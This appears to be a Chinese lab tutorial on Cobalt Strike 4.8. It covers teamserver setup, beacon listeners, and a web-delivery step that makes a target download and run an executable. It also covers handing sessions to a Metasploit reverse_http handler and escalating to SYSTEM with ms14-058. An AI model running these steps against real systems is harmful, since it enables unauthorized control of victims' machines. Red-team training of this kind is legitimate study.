CobaltStrike4.8初探

安装

Server端得在Linux下跑,Client端Linux或Windows无所谓。Linux下运行teamserver如下,其中服务端IP可用ifconfig查看,这里设root为用户密码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
┌──(kali㉿kali)-[~/CS-Server]
└─$ sudo ./teamserver 192.168.17.129 root
[sudo] password for kali:

[*] Will use existing X509 certificate and keystore (for SSL)

[*] Starting teamserver
[*] Team Server Version: 4.8 (Pwn3rs)
[*] Setting 'https.protocols' system property: SSLv3,SSLv2Hello,TLSv1,TLSv1.1,TLSv1.2,TLSv1.3
[*] Loading keystrokes.
[*] Loaded 0 keystrokes.
[*] Loading screenshots.
[*] Loaded 0 screenshots.
[*] Loading downloads.
[*] Loaded 0 downloads.
[*] Loading Windows error codes.
[*] Windows error codes loaded
[*] Loading hosted files
[*] Loaded 0 servers with hosted items
[*] Loading beacons
[*] Loaded 1 beacons
[+] Team server is up on 0.0.0.0:50050
[*] SHA256 hash of SSL cert is: c4fdc8902aed0054ecd9da16ce6cac4055d4a5c8f37ba5fc123516a375e066e9
[*] Generating Payload: Kali -- Arch: x86 -- Exit Function: Process -- System Call: None
[*] Generating Payload: Kali -- Arch: x64 -- Exit Function: Process -- System Call: None
[+] Listener: Kali started!

在服务端运行以下命令,或已有现成.cmd文件:

1
2
3
@echo off
echo [+] Starting cobaltstrike client
java -XX:ParallelGCThreads=4 -XX:+AggressiveHeap -XX:+UseParallelGC -javaagent:uHook.jar -jar cobaltstrike-client.jar $*

Connect窗口中将Alias改为neo@192.168.17.129,Host改为192.168.17.129,Password改为root,其他不变。

基本使用

选择菜单Cobalt Strike->Listeners,下方Add添加配置信息。Name随便填,Payload选Beacon HTTP,HTTP Hosts添加默认服务端IP,HTTP Port(C2)建议改为8089等。

下面有俩方法可以走,一种是生成.exe可执行文件,想办法让目标机运行;另一种是在服务端起一个HTTP服务生成并使目标机下载.exe可执行文件。

对于第一种方法:选择菜单Payloads->Windows Stageless Payload,Listener选刚才添加的,其他默认即可,然后找个地方保存。

对于第二种方法:选择菜单Attacks->Scripted Web Delivery(S),URI Path编一个如/a.exe等,Listener选刚才添加的,Type选exe,其他默认即可。由此想办法让目标主机下载并运行http://192.168.17.129:80/a.exe。

运行后在Cobalt Strike中看到有主机上线,该主机上右键选择Interact,例如:

1
2
shell ipconfig #查看IP信息
net user #查看用户

MSF联动

保证目标主机已上线,打开MSFconsole,如MSF主机IP为192.168.21.2。

1
2
3
4
5
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 192.168.21.2
set lport 2333
exploit

Cobalt Strike中新建一个Listener,Name随便,Payload选Foreign HTTP,HTTP Host和HTTP Port同上MSF监听的。

对目标主机右键Interact,再右键Access->Spawn,选择刚配置的HTTP监听Payload,等一会儿就弹到MSF的Meterpreter上了。

插件加载

选择菜单Cobalt Strike->Script Manager,下方选择Load,找到插件的.cna文件即可。

对于提权插件,推荐https://github.com/DeEpinGh0st/Erebus和https://github.com/rsmudge/ElevateKit。

提权

在Interact下用命令getuid发现不为SYSTEM权限。

选择菜单Cobalt Strike->VIsualization->Pivot Graph,在该主机右键用Access->Elevate。这里目标主机系统为Windows 7 x64专业版,Exploit可用ms14-058,Listener选择最开始上线用的监听器。

之后Session中出现目标主机的另一进程,右键Interact后用getuid命令发现为SYSTEM权限。